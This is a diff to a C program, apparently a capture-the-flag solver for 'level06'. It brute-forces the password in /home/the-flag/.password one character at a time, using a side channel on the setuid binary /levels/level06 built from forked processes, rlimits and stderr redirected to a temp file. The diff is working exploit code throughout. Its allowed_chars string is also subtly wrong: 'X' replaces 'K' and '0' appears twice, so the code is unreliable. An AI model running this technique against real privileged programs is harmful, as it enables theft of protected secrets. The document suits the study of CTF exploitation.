diff options
Diffstat (limited to 'level06.c')
-rw-r--r-- | level06.c | 25 |
1 files changed, 14 insertions, 11 deletions
@@ -7,7 +7,7 @@ #include <sys/stat.h> #include <sys/wait.h> -int teststr(const char *str) +int testfragment(const char *str) { int out[2]; pipe2(out, O_NONBLOCK); @@ -16,7 +16,6 @@ int teststr(const char *str) int status; close(out[1]); wait(NULL); - unlink("./tmp"); while (getpgid(getpid() + 2) == getpid()) usleep(100); status = read(out[0], NULL, 1); @@ -25,13 +24,15 @@ int teststr(const char *str) } else { int file; - char buffer[1025]; struct rlimit limit; + char buffer[1025]; + char filename[] = "/tmp/level06-XXXXXX"; dup2(out[1], 1); close(out[0]); - file = creat("./tmp", S_IWUSR | S_IRUSR); + file = mkstemp(filename); + unlink(filename); fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK); dup2(file, 2); @@ -43,7 +44,8 @@ int teststr(const char *str) execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL); } } -int checkfull(const char *str) + +int testfull(const char *str) { int out[2]; pipe(out); @@ -63,20 +65,21 @@ int checkfull(const char *str) } } - +char allowed_chars[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJXLMNOPQRSTUVWXYZ01234567890"; int main(int argc, char *argv[]) { char buffer[1024]; - int i; + int i, j, len; char c; memset(buffer, 0, 1024); + len = strlen(allowed_chars); for (i = 0; i < 1024; ++i) { - for (c = 32; c < 126; ++c) { - buffer[i] = c; + for (j = 0; j < len; ++j) { + buffer[i] = allowed_chars[j]; printf("\r\033[2K%s", buffer); fflush(stdout); - if (teststr(buffer)) { - if (checkfull(buffer)) { + if (testfragment(buffer)) { + if (testfull(buffer)) { printf("\n"); return 0; } |